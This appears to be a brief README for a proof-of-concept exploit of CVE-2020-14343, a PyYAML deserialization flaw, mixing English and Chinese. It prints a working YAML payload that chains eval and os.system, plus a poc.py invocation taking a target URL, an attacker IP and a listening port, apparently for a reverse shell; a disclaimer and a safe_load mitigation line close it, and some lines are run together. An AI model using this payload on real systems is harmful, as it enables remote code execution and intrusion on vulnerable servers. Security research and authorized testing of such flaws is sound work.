
CVE-2020-14343的payload
| Item | Information |
|---|
| CVE ID | CVE-2020-14343 |
| Affected Component | PyYAML < 5.4 |
| Vulnerability Type | Deserialization Remote Code Execution (RCE) |
| Severity | High |
When PyYAML uses yaml.load() to parse untrusted data, it does not restrict dangerous YAML tags (such as !!python/object), allowing attackers to craft malicious YAML content to execute arbitrary Python code.
Payload Core:
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('command')"]
python poc.py <目标URL> <攻击者IP> <监听端口>
Example:
python poc.py http://vulnerable-site.com 192.168.1.100 4444
/upload endpoint/login endpoint to load and parse the YAMLpip install requests
⚠️ This tool is intended for security research and authorized testing only!
yaml.safe_load() instead of yaml.load()